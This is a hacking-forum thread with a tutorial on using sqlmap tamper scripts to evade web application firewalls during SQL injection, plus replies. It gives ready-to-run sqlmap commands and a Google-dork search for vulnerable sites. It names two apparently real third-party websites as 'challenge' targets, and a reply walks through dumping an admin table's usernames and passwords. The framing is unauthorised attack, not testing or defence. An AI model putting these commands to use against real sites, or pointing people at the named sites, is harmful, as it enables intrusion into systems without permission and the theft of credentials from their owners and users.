Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TuT] SQLmap WAF bypass+HelpDesk[+]

Hello HF
well i can not say that sqlmap bypass all firewall....but it easy when you are trying to get data from injection, like username and password.

[+]Thankx To K0FIN
==
[#] Requirements
[+] Linux-->Ubuntu-- (I didnt tried in windows)
[+] Python--> sudo apt-get install python
[+] SQLmap-->https://github.com/sqlmapproject/sqlmap


[#] Procedure:
[+] Download sqlmap from above link, extract and open folder "tamper" in sqlmap directory.
-So you look some python script(.py) in directories....

Spoiler (Click to View)

[#] What python tamper script containss?
[+] All script has a various payload to bypass Firewall like,,,,
-->Open any script...(Ex of charencode.py)

Spoiler (Click to View)
[+] So every script has same above structure with various payload.

[#] Useful Tamper script:
[+] If you want to know function of script then open one by one script and follow above picture...
Code
--charencode.py [My Hot Favourite]
--chardoubleencode.py
--charunicodeencode.py
--halfversionedmorekeywords.py
--ifnull2ifisnull.py [My Hot Favourite]
--modsecurityversioned.py [My Hot Favourite]
--percentage.py
--randomcomments.py
--nonrecursivereplacement.py
--unionalltounion


[#] How to use?
[+] Open terminal...[You must have little bit knowledge about linux..]
[+] cd Sqlmap directory
--Ex of...
Code
$ cd Downloads/sqlmap-master
[+] Now run...
Code
./sqlmap.py -u 'http://targetsite.com/index.php?id=65' -v3 --dbms=mysql --tamper=tamperscript.py
[+] If you know that site has union based injection (u) then add ( --technique=u ) on above code. for Error based (e), Blind (b), Time (t)
[+] ANd any tamper script that you want to run like,,,, --tamper=charencode.py
[+] So finally it looks like
Code
$ ./sqlmap.py -u 'http://targetsite.com/index.php?id=65' -v3 --dbms=mysql --technique=u --tamper=charencode.py
[+] Done


[#] Challenge...
[+] I give you some site which has firewall so you can try on it...
Code
http://www.booksofwonder.com/event.php?id=75
http://fotodi.ru/vyst.php?id=100


[#] Guest book
[+] If you really learn about something new, then comment your thought..
[+] Thank You


[#] Helpdesk
[-] If you have any problem regarding SQLmap then post here.
[+] K0FIN and I will help to solve your problem
[+] If you know more about SQLmap then you can also contribute us.
[Image: L4HlHYI.png]
Nice Write up man.
Keep it up.I like this tutorial
Good tut, but it's always better when you learn to do manual and when you know what you are doing.
(Jul 23, 2013 08:06 AM)MFFS Wrote:  Good tut, but it's always better when you learn to do manual and when you know what you are doing.

Ya yu right...manual is a good thing to learn deeply..
but when you face waf then manual become hard to extract data....
[Image: L4HlHYI.png]
it a good tutorial bro , thank in advance for this =)
[#] Helpdesk
[-] If you have any problem regarding SQLmap then post here.
[+] K0FIN and I will help to solve your problem
[Image: L4HlHYI.png]
how to find sql vul site with sql map?
Can you explain to me?
Nice tut bro
Can we use it with Cygwin ???
(Jul 23, 2013 09:50 PM)133720 Wrote:  how to find sql vul site with sql map?
Can you explain to me?
Open terminal ...
Code
$ ./sqlmap.py -g "inurl:gallery.php?id=" --hex --dbms=mysql
-g:-- Is used for finding vilnerability from google dork.
it will fetch google search page data using inputed dork, and find the target is vulnerable or not

(Jul 24, 2013 01:58 AM)akiratoriyama Wrote:  Nice tut bro
Can we use it with Cygwin ???
Maybe but you can try windows version of sqlmap, for stable purpose....
[Image: L4HlHYI.png]
Too much tools and not enough manual going on.
nice i just i am trying to learn to use sqlmap..really difficult..!! I see..it needs commands..!!
that tamper :)

thanks for the tut . easy to understand
(Jul 24, 2013 02:29 PM)mirkops Wrote:  nice i just i am trying to learn to use sqlmap..really difficult..!! I see..it needs commands..!!

its very easy to inject site
Code
./sqlmap,py -u 'site' --dbs
after you get database name
Code
./sqlmap.py -u 'site' -D database_name --tables
you see table names
Code
./sqlmap.py -u 'site' -D database_name -T admin --columns
You see column name of admin table
Code
./sqlmap.py-u 'site' -D database_name -T admin -C username,password --dump
It will dump username password from admin table.
However you can use more thing by --help
[Image: L4HlHYI.png]
HQ user, helped me with a problem I had. Also a great tutorial to use for blind injection.
it a good tutorial bro , thank in advance for this


Possibly Related Threads...
Thread / Author Replies Views Last Post
by ๖ۣۜCσмρℓεxιтүJan 19, 2026 06:22 PM 5 695 Jan 19, 2026 06:22 PM
Last Post: SpiderSpicy
by ๖ۣۜCσмρℓεxιтүApr 26, 2025 04:30 AM 21 4,544 Apr 26, 2025 04:30 AM
Last Post: Infinity.
by Error22Mar 2, 2023 12:42 AM 7 398 Mar 2, 2023 12:42 AM
Last Post: Disqual